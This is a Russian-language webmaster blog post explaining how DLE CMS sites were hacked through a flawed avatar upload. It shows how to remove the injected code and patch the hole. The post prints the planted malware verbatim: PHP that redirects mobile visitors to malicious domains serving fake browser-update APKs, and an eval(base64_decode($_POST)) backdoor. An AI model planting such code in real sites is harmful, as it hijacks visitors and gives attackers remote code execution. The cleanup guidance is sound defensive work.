Взлом DLE загрузкой аватара с вредоносным кодом. Как с этим бороться?

Взлом DLE загрузкой аватара с вредоносным кодом. Как с этим бороться?

Много лет в известном всем движке CMS DLE существовала уязвимость и никто на нее не обращал внимание. Но вот в начале этого года примерно с 6 января, видимо устав от празднования Нового года, хакер под псевдонимом tehApocalypse взломал несколько десятков тысяч сайтов на CMS DLE. В этой статье, я расскажу как закрыть дырку и удалить весь вредоносный код с ваших движков.

Хочу отметить тот факт что уязвимы абсолютно все версии DLE в том числе и DLE 9.7, про DLE 9.8 не скажу, не проверял. Патч безопасности от этого вас не спасет, это немножко другое…Взлом DLE загрузкой аватара с вредоносным кодом. Как с этим бороться?

Много лет в известном всем движке CMS DLE существовала уязвимость и никто на нее не обращал внимание. Но вот в начале этого года примерно с 6 января, видимо устав от празднования Нового года, хакер под псевдонимом tehApocalypse взломал несколько десятков тысяч сайтов на CMS DLE. В этой статье, я расскажу как закрыть дырку и удалить весь вредоносный код с ваших движков.

Хочу отметить тот факт что уязвимы абсолютно все версии DLE в том числе и DLE 9.7, про DLE 9.8 не скажу, не проверял. Патч безопасности от этого вас не спасет, это немножко другое.

В чем заключается взлом?

Взлом заключался во внедрении кода в несколько файлов DLE для перенаправления посетителей зараженных сайтов на сайт злоумышленника, переадресация действует только на мобильные телефоны, планшеты и т.д. Скажем вы заходите на зараженный сайт с телефона на OS Android тут же вам будет предложено скачать apk приложение, мол необходимо обновить ваш »интернет браузер» (иконка будет как в Google Chrome ). После установки приложения, ваш телефон будет инфицирован смс вирусом, который будет отправлять смс и снимать деньги с вашего баланса.

Если же вы уже скачали приложение, то не в коем случае не устанавливайте его!

Почему на это стоит обратить внимание?

Я предоставлю несколько фактов и вы дальше сами решите, тратите вы свое время или нет.
1) Яндекс может посчитать вас распространителем вирусных программ, соучастниками мошенников и т.д. Никто »церимоница» не будет, сразу попадете в бан.
2) Вы теряете посещаемость вашего сайта, люди которые заходят к примеру с мобильного не попадают на ваш сайт и вы теряете посетителей.
3) В вашем сайте дыра, только это уже говорит о том, что нужно действовать.

Какие файлы чаще всего подвержены заражению?
В основном заражению подлежат вот эти файлы:
index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php

Но это не исключение, у меня например еще был заражен и language/Russian/website.lng , что очень меня удивило, так как я перекопал весь движок, но так и не смог найти вредоносный код, а редирект на вредоносный сайт так и оставался. Представляете моё удивление после обнаружение кода в папке language?

Приступим!

Находим и аккуратненько удаляем вот этот код из вышеперечисленных файлов (желательно сверится с чистым движком, да бы не удалить лишнего):

$iphone = strpos($_SERVER[‘HTTP_USER_AGENT’],»iPhone»);
$android = strpos($_SERVER[‘HTTP_USER_AGENT’],»Android»);
$palmpre = strpos($_SERVER[‘HTTP_USER_AGENT’],»webOS»);
$berry = strpos($_SERVER[‘HTTP_USER_AGENT’],»BlackBerry»);
$ipod = strpos($_SERVER[‘HTTP_USER_AGENT’],»iPod»);

if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header(‘Location: http://statuses.ws/’);
}

Кстати ещё один важен момент, этот код может дублироваться в нескольких местах, будьте внимательны.

Так же возможен вот такой вариант вредоносного кода:

if (strpos($_SERVER[‘HTTP_USER_AGENT’],»iPhone») || strpos($_SERVER[‘HTTP_USER_AGENT’],»Android») || strpos($_SERVER[‘HTTP_USER_AGENT’],»webOS») || strpos($_SERVER[‘HTTP_USER_AGENT’],»BlackBerry») || strpos($_SERVER[‘HTTP_USER_AGENT’],»iPod»)) header(‘Location: http://live-internet.ws/’);
if(!empty($_POST[‘update’])) eval(base64_decode($_POST[‘update’]));
if (strpos($_SERVER[‘HTTP_USER_AGENT’],»iPhone») || strpos($_SERVER[‘HTTP_USER_AGENT’],»Android») || strpos($_SERVER[‘HTTP_USER_AGENT’],»webOS») || strpos($_SERVER[‘HTTP_USER_AGENT’],»BlackBerry») || strpos($_SERVER[‘HTTP_USER_AGENT’],»iPod»)) header(‘Location: http://getinternet.ws/’);
if(!empty($_POST[‘update’])) eval(base64_decode($_POST[‘update’]));

Удаляем его. Код мы почистили, но теперь осталась дыра, которую нужно залатать.

Как эта дрянь попала на мой сайт?
Очень просто, в нескольких файлах, в которых мы можем редактировать профиль пользователя и загружать аватар для этого пользователя есть такой код:

if( $thumb->size_auto( $user_group[$member_id[‘user_group’]][‘max_foto’] ) ) {
$thumb->jpeg_quality( $config[‘jpeg_quality’] );
$thumb->save( ROOT_DIR . «/uploads/fotos/foto_» . $id . «.» . $type );
} else {
@rename( ROOT_DIR . «/uploads/fotos/» . $id . «.» . $type, ROOT_DIR . «/uploads/fotos/foto_» . $id . «.» . $type );
}

Так вот все дело в этой строчке:

@rename( ROOT_DIR . «/uploads/fotos/» . $id . «.» . $type, ROOT_DIR . «/uploads/fotos/foto_»

Т.е. если аватар не надо изменять по размеру, то исходный инжектированный файл копируется в первоначальном виде для дальнейшего использования.

Латаем дыру
Дыра сразу в трех файлах, а именно в:
engine/inc/editusers.php
engine/modules/register.php
engine/modules/profile.php

Находим в них строку:

@rename( ROOT_DIR . «/uploads/fotos/» . $id . «.» . $type, ROOT_DIR . «/uploads/fotos/foto_»

Заменяем на:

$thumb->size_auto( $user_group[$member_id[‘user_group’]][‘max_foto’] );
$thumb->jpeg_quality( $config[‘jpeg_quality’] );
$thumb->save( ROOT_DIR . «/uploads/fotos/foto_» . $id . «.» . $type );

Все теперь загрузить аватар с вредоносным кодом будет невозможно.

Рекомендую удалить все аватарки с папки uploads/fotos, так на всякий случай.

tehApocalypse — заходим в админку ищем его и баним, по ip и т.д, опять же на всякий случай.

Все теперь, не забывайте хотя бы раз в месяц проверять свои сайты на наличие вредоносного кода, мало ли я что-то упустил.

»Я все сделал по инструкции, а у меня не пропала переадресация, что делать?»

1) Убедится что вы не пропустили вредоносный код, как я уже говорил он может дублироваться в одном файле несколько раз.
2) Возможно вредоносный код записан еще в какие-то другие фалы, проверьте все файлы движка на наличее таких ссылок:
statuses.ws, live-internet.ws, getinternet.ws и если такие имеются удаляйте их вместе с вредоносным кодом.
3) Если и это не помогло, значит у вас другие ссылки, другой вредоносный код и т.д.

П.С. — Рекомендую всем владельцам CMS DLE сделать эту небольшую проверку, возможно вы тоже подверглись взлому.

Дополнение от slavik74

Обнаружил на своём сайте буквально неделю назад этот вредоносный код. Собственно не я первый это заметил а Яндекс-вебмастер прислал мне письмо что на моём сайте обнаружен вредоносный код!

Я иду на сайт. В шоке!!! Обнаруживаю в файлах .htaccess — в корне сайта, index.php и в выше перечисленных в этой статье.

Что нужно делать:
1. Проверяем все файлы .php, .js и желательно другие кроме картинок на наличие вредоносного кода. Помогают текстовые программы Text Replacer и Notepad++ быстро найти и удалить эту гадость в пакетном режиме (поиск и замена).
2. Делаем иньекции вышеперечисленные в этой статье.
3. Ставим скрипт на сайт ZEOS ANTIVIRUS. После установки и настройки его штука незаменимая.
4. На все важные файлы которые были ранее заражены выставляем права доступа 444, что не даст прав на изменение этих файлов пока не выставишь права 644

Теперь можно спать спокойнее. В результате внедрения этой гадости мой сайт упал в выдаче Яндекса и соответственно упала посещаемость. Теперь остаётся ждать когда всё восстановится. Вот такое »кино». Луц-хакеры не дремлют!

Статья взята из открытых источников: http://dle-solutions.ru/dle/bags/363-vzlom-dle-zagruzkoy-avatara-s-vredonosnym-kodom.-kak-s-etim-borotsya.html

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *